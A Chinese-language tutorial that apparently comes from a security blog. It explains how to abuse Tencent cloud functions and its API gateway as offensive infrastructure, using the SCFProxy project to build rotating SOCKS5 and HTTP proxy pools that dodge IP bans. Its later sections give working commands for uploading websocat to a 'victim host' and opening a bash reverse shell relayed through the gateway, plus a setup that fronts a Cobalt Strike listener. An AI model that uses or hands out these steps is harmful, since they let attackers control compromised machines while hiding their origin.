云函数
云函数(Serverless Cloud Function,SCF)是云计算厂商为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码, 是实时文件处理和数据处理等场景下理想的计算平台。只需使用 SCF 平台支持的语言编写核心代码并设置代码运行的条件,即可在某云基础设施上弹性、安全地运行代码。
无服务器(Serverless)不是表示没有服务器,而表示在使用 Serverless 时,我们无需关心底层资源,也无需登录服务器和优化服务器,只需关注最核心的代码片段,即可跳过复杂的、繁琐的基本工作。使用云函数(SCF)时,我们只需使用平台支持的语言(Python、Node.js、PHP、Golang、Java 及 Custom Runtime)编写代码,云计算厂商将完全管理底层计算资源,包括服务器 CPU、内存、网络和其他配置/资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等。
代理池的构建原理
通过API网关触发器触发云函数(SCF),接受来自客户端的数据,并将请求转发出去。利用云厂商提供的云函数(函数计算)功能,将客户端的HTTP请求转发,由于云函数拥有非常多的出口IP,也就不怕封IP了,但是出口多不代表没有上限,大家都用的同一厂商的出口IP,所以尽量不要滥用。
流程示意图如下:

大概原理是通过vps做中转,vps搭建socks服务端,socks服务端将请求转发至云函数的API网关触发器。
项目地址:https://github.com/shimmeris/SCFProxy
云函数代码配置
-
先开通腾讯云函数;
-
在 函数服务 > 新建 中使用""从头开始""创建,函数名称及地域任选,运行环境选择 Python3.6;

-
将
socks_client目录中的server.py代码复制到编辑器上。注意bridge_ip和bridge_port参数为vps的socks开启监听的ip和端口;
-
内存尽量选最小的,如有购买云函数套餐可选大一点,超时时间设置为最大,这样一个socks会话最多能维持15m;

-
完成。
云函数触发器配置
-
选择新建触发器;

-
设置触发器为API网关触发,其他保持默认即可;

-
最后得到一个访问路径。

客户端配置
-
将代码部署到VPS上;
git clone https://github.com/shimmeris/SCFProxy.git
cd SCFProxy/SOCKS5/
#需要 Python >= 3.8
pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ -
vps运行socks服务端;
$ python3 socks5.py -h
usage: socks5.py [-h] -u SCF_URL [-l ip] -sp SOCKS_PORT -bp BRIDGE_PORT [--user USER] [--passwd PASSWD]
SCF Socks5 Proxy Server
optional arguments:
-h, --help show this help message and exit
-u SCF_URL, --scf-url SCF_URL
API Gate Way URL
-l ip, --listen ip Bind address to listen, default to 0.0.0.0
-sp SOCKS_PORT, --socks-port SOCKS_PORT
Port accept connections from client
-bp BRIDGE_PORT, --bridge-port BRIDGE_PORT
Port accept connections from SCF
--user USER Authentication username
--passwd PASSWD Authentication password -
常用语法
python3 socks5.py -u "API访问路径" -bp 监听端口 -sp socks端口 --user user --passwd pass
#user和passwd参数可选 -
-u参数需要填写 API 网关提供的地址,必填 -
-l表示本机监听的 ip,默认为 0.0.0.0 -
-sp表示 SOCKS5 代理监听的端口,必填 -
bp表示用于监听来自云函数连接的端口,与 server.py 中的bridge_port相同,必填 --user和--passwd将用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码
SOCKS5效果
-
运行后如下图显示:

-
测试效果:


项目地址:https://github.com/shimmeris/SCFProxy
云函数代码配置
-
先开通腾讯云函数;
-
在 函数服务 > 新建 中使用""从头开始""创建,函数名称及地域任选,运行环境选择 Python3.6;

-
修改 server.py 中的
SCF_TOKEN为随机值(该值将用于鉴权),并将相同的值填入 client.py 中的SCF_TOKEN,将 server.py 代码复制粘贴到编辑器中;
-
内存尽量选最小的,如有购买云函数套餐可选大一点,超时时间设置为最大。

云函数触发器配置
-
选择新建触发器; -
设置触发器为API网关触发,其他保持默认即可; 最后得到一个访问路径客户端配置。
客户端配置
-
项目基于 mitmproxy 提供本地代理,为代理 HTTPS 流量需安装证书。运行
mitmdump命令,证书目录自动生成在在 ~/.mitmproxy 中,安装并信任;pip3 install mitmproxy -
将触发器中的访问路径添加至 client.py 中
scf_servers变量中,多个以逗号,分隔;
-
开启代理开始运行。
mitmdump -s client.py -p 8081 --no-http2如在 VPS 上运行需将
block_global参数设为 falsemitmdump -s client.py -p 8081 --no-http2 --set block_global=false
HTTP效果
-
运行后如下图:

测试效果:



项目地址:https://github.com/shimmeris/SCFProxy
数据库配置
-
反弹shell需要一个允许外部连接的mysql数据库,数据库配置语句如下:
create database SCF;
use SCF;
create table Connections (
ConnectionID varchar(128) NOT NULL,
Date datetime,
is_user tinyint
) -
修改 src 文件夹内所有文件中的如下变量:
db_host = 数据库 host
db_port = 数据库端口
db_user = 数据库用户
db_pass = 数据库密码
push_back_host = 等后续配置 API 网关后填写
云函数代码配置
-
参照 HTTP 代理配置新建三个自定义函数,分别命名为 register, transmission, delete,这里不用单独配每个函数的API;
-
进入 API 网关配置,新建如下配置服务,基本信息名称随便填;

-
新建 API,前端类型选择 WS,其余默认,进入下一步;

-
开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下:

-
点击立即完成,发布服务;

-
点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的
push_back_host变量;
-
修改 transmission.py 中的
PASSWORD变量,该变量将用于客户端连接 ws 后将连接认证为用户。
使用方式
需要借助 websocat。
-
上传
websocat(或远程下载)到受害主机; -
执行
websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway转发端口; -
反弹 shell 到本地端口
bash -i >& /dev/tcp/127.0.0.1/12345 0>&1(2、3 两步也可利用 & 合并成一条命令);

-
攻击者连接
ws://apigate,输入 auth PASSWORD 认证为用户,之后正常发送命令即可。
-
ws 连接后可执行的命令:
auth PASSWORD 将当前连接认证为用户,只有用户能接收未认证连接发送的信息
close 关闭当前连接
closeall 关闭目前存在的所有连接
该功能无需任何代码,只需要在 API 网关 注册服务即可。
网关配置
-
在API 网关中新建服务,访问方式选择公网,其余不变;

-
进入服务界面,新建 API 配置如下,进入下一步;

-
配置后端类型为公网URL/IP,后端域名配置自己的 CS 服务器,后端超时拉满即可。
CS配置
-
将网关地址填入 host 监听器即可,这里注意复制过来的时候不要带http头和端口。

-
效果如下:



